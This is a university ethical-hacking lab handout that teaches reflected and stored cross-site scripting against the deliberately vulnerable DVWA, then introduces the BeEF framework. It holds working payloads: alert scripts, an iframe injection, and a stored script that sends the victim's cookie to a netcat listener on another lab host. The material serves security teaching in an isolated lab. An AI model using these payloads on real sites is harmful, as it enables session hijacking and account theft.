17/03/2021

Cross Site Scripting

Ethical Hacking Lab Exercise

Introduction
Many websites today are able to make the experience for users much more
enjoyable with the use of dynamic content. These dynamic websites are able to
deliver this experience by tailoring the output to the user. This leads to a much
more functional website and is even easier to update compared to a static
website. However there is a drawback since dynamic websites can be vulnerable
to cross-site scripting attacks.

WHAT IS CROSS-SITE SCRIPTING

Cross-Site Scripting (XSS) is one of the most common application-layer web
attacks. An XSS attack commonly targets scripts which are embedded in a page
which will then be executed on the client side (victims’ browser). The XSS
developer will look to be able to craft an exploit (most likely in the form of
HTML or JavaScript) which will execute on the victims machine. This attack
will execute every time the page is loaded or when the specific event is
performed. If an XSS attack is carried out successfully it may lead to the
attacker having remote control of the victims’ web browser/account.

The following diagram illustrates how an attacker would be able to upload the
HTML or JavaScript in order to exploit the XSS vulnerability.

Looking at the above diagram we can see how the attack can be carried out. The
attacker would be able to upload the piece of HTML or JavaScript to the
website. Once stored the script then sits and waits until a user will execute it,
simply by visiting a web page for instance. When the user does visit the infected
page, the script will download to the clients’ browser, causing it to do what the
C McLean School of Computing UAD Page 1 514733075.doc
 17/03/2021

attacker has coded into the script. It is important to note there are variants to this
broad example however XSS attacks will follow the same theme.

WHAT IS AT STAKE
If XSS is carried out effectively then it can lead to horribly malicious results.
With the use of scripts the attacker can gain unwanted access to a users account
to steal information, jump into sessions or perform a Denial of Service attack.
Acunetix.com has provides a list of attackers achievements to successfully
executing XSS attacks. These include:

 Identity theft
 Accessing sensitive or restricted information
 Gaining free access to otherwise paid for content
 Spying on user’s web browsing habits
 Altering browser functionality
 Public defamation of an individual or corporation
 Web application defacement
 Denial of Service attacks

* Run the Bee-Box virtual machine.

C McLean School of Computing UAD Page 2 514733075.doc

 17/03/2021

Section 1 :- Reflected XSS – DVWA (Low Level security)

This non-persistent type of cross-site scripting vulnerability is by far the most
common type. A reflected attack is typically delivered via email or a web site. The
bait is an innocent-looking URL, pointing to a trusted site but containing the XSS
vector. If the trusted site is vulnerable to the vector, clicking the link can cause the
victim's browser to execute the injected script.

 From your main PC, run Firefox and access DVWA through the favourites.

 Go to the XSS Reflected menu and enter some text.

Notice that what we entered is being echoed exactly back to us on the page.

Our next step is to confirm whether the page is performing any sort of filtering of the
JavaScript syntax required for our malicious script to work. From the above XSS
string, you can see that we use the angle bracket symbols, < >. These are essential to
JavaScript as they indicate to the browser that it’s reading a line of code, as opposed
to just text.
Without the angle brackets our code won’t be read as JavaScript and so our attack will
fail. Because of this, angle brackets are commonly removed from user supplied input,
or are encoded in such a way that the browser won’t read them as code, such as
HTML entity encoding.

 Try entering <script>

 Then examine the web page source. You should see similar to the screenshot
below: -

C McLean School of Computing UAD Page 3 514733075.doc

 17/03/2021

http://eval.symantec.com/mktginfo/enterprise/white_papers/b-
whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf

 
As can be seen above, <script> is not displayed - it’s actually being read as part of the
source of the webpage.

 Try entering the following

<script>alert("Hello")</script>
This would mean fooling a user into clicking on a link (either by a phishing E-Mail or
a “bad” web page).
http://192.168.1.100/dvwa/vulnerabilities/xss_r/?name=%3Cscript
%3Ealert%28%22Hello%22%29%3C%2Fscript%3E#

Note that the above link was grabbed using the Firefox Add-in (Live HTTP
Headers).

So what can a hacker do with this attack? The next section will illustrate.

C McLean School of Computing UAD Page 4 514733075.doc

 17/03/2021

Section 2 :- Stored XSS – DVWA (Low Level security)

Damn Vulnerable Web Application (DVWA) has three different security settings.
These correspond to: -

Low -No effort has been made to secure the code.

Medium -Some effort has been made to secure the PHP code.
High -The code is (probably) as it should be written.

Initially, we will examine Stored Cross Site Scripting with the setting at Low.

 Run the Web App virtual machine.

 Browse to http://192.168.1.100/dvwa/login.php

 Log in as Admin with a password of password.

 Ensure that Security Level is set to Low

Stored XSS - Proving the concept.

This variant is when an attacker finds a vulnerable web page which allows the
upload and display of information. This may be in the form of a web blog,
discussion boards - any site which is vulnerable and allows the users to upload
some text. This is where the attacker will try to input their script (regular
information can also be included here to entice users).

The text and script will be stored on the web server then when users try to access
the web page they will unknowingly download and execute the script.

Below is a diagram illustrating this description.

C McLean School of Computing UAD Page 5 514733075.doc

 17/03/2021

 Go to the XSS stored menu option and enter the following: -

<script>alert("This is a test")</script>

NOTE

This should give a message box on screen.

 Note that each time a user visits this page, the message box is displayed.

Rather than give the user a message on screen, can we modify the script to
do other (more sinister) things?

C McLean School of Computing UAD Page 6 514733075.doc

 17/03/2021

XSS Stored IFRAME Exploit Test

Short for inline frame, an iFrame is an HTML document that is embedded in
another HTML document. This attack illustrates that elements can be inserted
into a page.

 Reset the DVWA database

 Enter the following into the Stored XSS page.

<iframe src=http://www.bbc.co.uk></iframe>

After a short while, you should see that this has added our specified web page to
the messages (as shown below).

A malicious user could create their own phishing web site and use this to grab
user details such as username & passwords.

C McLean School of Computing UAD Page 7 514733075.doc

 17/03/2021

XSS Stored COOKIE Exploit Test

A more dangerous attack would be a script to send the users cookie to an
attackers machine. To access the cookie, the following command is used.

<script>alert(document.cookie)</script>

 Enter the code as follows : -

The output should be similar to :-

 Reset the DVWA database.

 We will now create a stored attack that will send the cookie to a hackers
machine.

 Initially, we must set a listening program on the hackers machine (in this
case, we will use Windows on our main machine – but this can be any valid,
reachable IP address).

 Copy the listening program (netcat) nc.exe from \\Hacklab1\student tools\Web

Application Security to the root of C drive.

 Run a command prompt (Start | Run| cmd)

 Change to the root folder (cd \)

 Run the listener nc –lvp 80

-l = listen, v =be verbose, p = port (port 80).

C McLean School of Computing UAD Page 8 514733075.doc

 17/03/2021

Now we can create our stored XSS on the DVWA page.

MAKE SURE NO WEB SERVER IS RUNNING ON YOUR LOCAL

MACHINE – IN THE HACKLAB, YOU WILL HAVE TO STOP IIS
WEB SERVER FROM CONTROL PANEL | ADMINISTATION TOOLS.

 From DVWA XSS Stored web page, create the following

<script>new Image().src="http://192.168.1.200/b.php?"+
(document.cookie)</script>

 Go back to netcat and you should see the cookie. This valid cookie can
be used in a tool such as cookie editor.

Tutorials

 Examine the XSS exercises in Mutilidae

C McLean School of Computing UAD Page 9 514733075.doc

 17/03/2021

Section 3 :- BEEF
In Kali linux, run a terminal and run beef.

cd /usr/share/beef-xss
./beef

The link to Beef control panel should be visible.

 On Kali linux, browse to the UI (user interface) URL

http://192.168.1.101:3000/ui/panel and login as beef/beef.

 On your main machine, browse

http://192.168.1.101:300/demos/basic.html

You main machine should now be hooked to beef and you should be able to see the
machine in beef under Kali.

 PLAY!

C McLean School of Computing UAD Page 10 514733075.doc